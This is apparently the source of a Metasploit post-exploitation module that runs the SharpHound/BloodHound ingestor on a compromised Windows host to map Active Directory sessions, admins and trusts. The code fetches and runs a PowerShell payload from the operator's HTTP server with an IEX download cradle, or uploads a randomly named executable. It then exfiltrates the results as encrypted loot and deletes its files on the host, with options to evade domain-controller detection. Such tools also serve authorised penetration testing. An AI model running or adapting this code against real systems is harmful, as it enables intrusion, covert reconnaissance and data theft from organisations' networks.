Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/bloodhound.rb
Views: 11655
class MetasploitModule < Msf::Post1include Msf::Post::File2include Msf::Exploit::Remote::HttpServer3include Msf::Post::Windows::Powershell45def initialize(info = {})6super(7update_info(8info,9'Name' => 'BloodHound Ingestor',10'Description' => %q{11This module will execute the BloodHound C# Ingestor (aka SharpHound) to gather sessions, local admin, domain trusts and more.12With this information BloodHound will easily identify highly complex attack paths that would otherwise be impossible to quickly13identify within an Active Directory environment.14},15'License' => MSF_LICENSE,16'Author' => [17'h4ng3r <[email protected]>',18'h00die'19],20'References' => [ 'URL', 'https://github.com/BloodHoundAD/BloodHound/' ],21'Platform' => [ 'win' ],22'Arch' => [ ARCH_X86, ARCH_X64 ],23'SessionTypes' => [ 'meterpreter' ],24'Notes' => {25'AKA' => ['sharphound'],26'SideEffects' => [ARTIFACTS_ON_DISK],27'Stability' => [],28'Reliability' => []29}30)31)3233register_options([34OptEnum.new('CollectionMethod', [35true, 'The collection method to use.', 'Default',36['Group', 'LocalGroup', 'LocalAdmin', 'RDP', 'DCOM', 'PSRemote', 'Session', 'Trusts', 'ACL', 'Container', 'ComputerOnly', 'GPOLocalGroup', 'LoggedOn', 'ObjectProps', 'SPNTargets', 'Default', 'DCOnly', 'All']37]),38OptString.new('Domain', [false, 'Specifies the domain to enumerate. If not specified, will enumerate the current domain your user context specifies']),39OptBool.new('Stealth', [true, 'Use stealth collection options, will sacrifice data quality in favor of much reduced network impact', false]),40OptBool.new('ExcludeDomainControllers', [true, 'Exclude domain controllers from session queries. Useful for ATA environments which detect this behavior', false]),41OptString.new('DomainController', [false, 'Specify which Domain Controller to request data from. Defaults to closest DC using Site Names']),42OptInt.new('LdapPort', [false, 'Override the port used to connect to LDAP']),43OptBool.new('SecureLdap', [false, 'Uses LDAPs instead of unencrypted LDAP on port 636']),44# these were never implemented45# OptString.new('LDAPUsername', [false, 'User to connect to LDAP with', 'Default']),46# OptString.new('LDAPPassword', [false, 'Password for user you are connecting to LDAP with']),47# OptString.new('DisableKerbSigning', [false, 'Disables Kerberos Signing on requests', false]),48OptString.new('OutputDirectory', [false, 'Folder to write json output to. Default is Windows temp']),49OptEnum.new('Method', [true, 'Method to run Sharphound with', 'download', ['download', 'disk']]),50OptBool.new('EncryptZip', [false, 'If the zip should be password protected', true]),51OptBool.new('NoSaveCache', [false, 'Dont save the cache file to disk', true]),52OptString.new('ZipFileName', [false, 'Zip Output File Name. Blank for random', '']),53])54end5556# Options removed or changed in sharphound v2 to sharphound v357# Removed:58# SearchForest59# OU60# IgnoreLdapCert61# Threads62# PingTimeout63# SkipPing64# LoopDelay65# MaxLoopTime66# SkipGCDeconfliction67# Renamed:68# ExcludeDc -> ExcludeDomainControllers69# LDAPUser -> LDAPUsername70# LDAPPass -> LDAPPassword71# JSONFolder -> OutputDirectory7273# Options removed or changed in sharphound Renamed in v4 (1.0.4) from v3:74# Renamed75# (many of the single dash verbose command names are now double dash as is usual in Linux land)76# encryptzip -> zippassword77# nosavecache -> memcache78# ExcludeDomainControllers -> excludedcs7980def sharphound_ps181File.join(Msf::Config.data_directory, 'post', 'powershell', 'SharpHound.ps1')82end8384def sharphound_exe85File.join(Msf::Config.data_directory, 'post', 'SharpHound.exe')86end8788def on_request_uri(cli, _request)89base_script = File.read(sharphound_ps1)90send_response(cli, base_script)91end9293def download_run94start_service95uri = get_uri96"IEX (new-object net.webclient).downloadstring('#{uri}')"97end9899def disk_run100name = "#{pwd}\\#{Rex::Text.rand_text_alpha_lower(4..10)}.exe"101vprint_status "Uploading sharphound.exe as #{name}"102upload_file(name, sharphound_exe)103return ". #{name}"104end105106def run107if !have_powershell?108fail_with(Failure::Unknown, 'PowerShell is not installed')109end110111extra_params = []112[113[datastore['Domain'], "-d #{datastore['Domain']}"],114[datastore['Stealth'], '--Stealth'],115# [datastore['SkipGCDeconfliction'], "-SkipGCDeconfliction"],116[datastore['ExcludeDomainControllers'], '--ExcludeDCs'],117[datastore['DomainController'], "--DomainController #{datastore['DomainController']}"],118[datastore['LdapPort'], "--LdapPort #{datastore['LdapPort']}"],119[datastore['SecureLdap'], '--SecureLdap'],120[datastore['NoSaveCache'], '--MemCache'],121].each do |params|122if params[0]123extra_params << params[1]124end125end126127extra_params = "#{extra_params.join(' ')} "128129if datastore['EncryptZip']130# for consistency, we use lower case password here since exe requires all extra_params to be lowercase131zip_pass = Rex::Text.rand_text_alpha_lower(12..20)132extra_params += "--ZipPassword #{zip_pass} "133end134135# these options are only added if they aren't the sharphound default136unless datastore['CollectionMethod'] == 'Default'137extra_params += "-c #{datastore['CollectionMethod']}"138end139tmp_path = datastore['OutputDirectory'] || get_env('TEMP')140141zip_name = datastore['ZipFileName'].empty? ? Rex::Text.rand_text_alpha_lower(4..10) : datastore['ZipFileName']142143if datastore['Method'] == 'download'144command = download_run145extra_params = extra_params.gsub('--', '-')146invoker = "Invoke-BloodHound -OutputDirectory \"#{tmp_path}\" -ZipFileName #{zip_name} #{extra_params}"147elsif datastore['Method'] == 'disk'148command = disk_run149exe = command.sub('. ', '') # so we get the filename again150# for exe, we move invoker into command to run more friendly151invoker = ''152extra_params = extra_params.downcase153command = "#{command} --outputdirectory \"#{tmp_path}\" --zipfilename #{zip_name} #{extra_params}"154end155156print_status("Loading BloodHound with: #{command}")157print_status("Invoking BloodHound with: #{invoker}") unless invoker.empty?158process, _pid, _c = execute_script("#{command}; #{invoker}")159160while (line = process.channel.read)161line.split("\n").map { |s| print_status(s) }162m = line.match(/Enumeration Completed/)163sleep 30 # a final wait just in case we caught the text prior to the zip happening164next unless m165166# we now need to find our zip, its a datetime_zipfilename.zip naming convention167zip_path = nil168files = ls(tmp_path)169files.each do |file|170next unless file.end_with?("#{zip_name}.zip")171172zip_path = "#{tmp_path}\\#{file}"173break174end175if zip_path.nil?176print_bad("Unable to find results file in #{tmp_path}.")177end178179p = store_loot('windows.ad.bloodhound', 'application/zip', session, read_file(zip_path), File.basename(zip_path))180rm_f zip_path181print_good("Downloaded #{zip_path}: #{p}")182rm_f(zip_path)183# store the password since we know it was successful184if datastore['EncryptZip']185print_good "Zip password: #{zip_pass}"186report_note(host: session,187data: "Bloodhound/Sharphound loot #{p} password is #{zip_pass}",188type: 'Sharphound Zip Password')189end190break191end192193if datastore['Method'] == 'disk'194vprint_status "Deleting #{exe}"195rm_f exe196end197end198199end200201202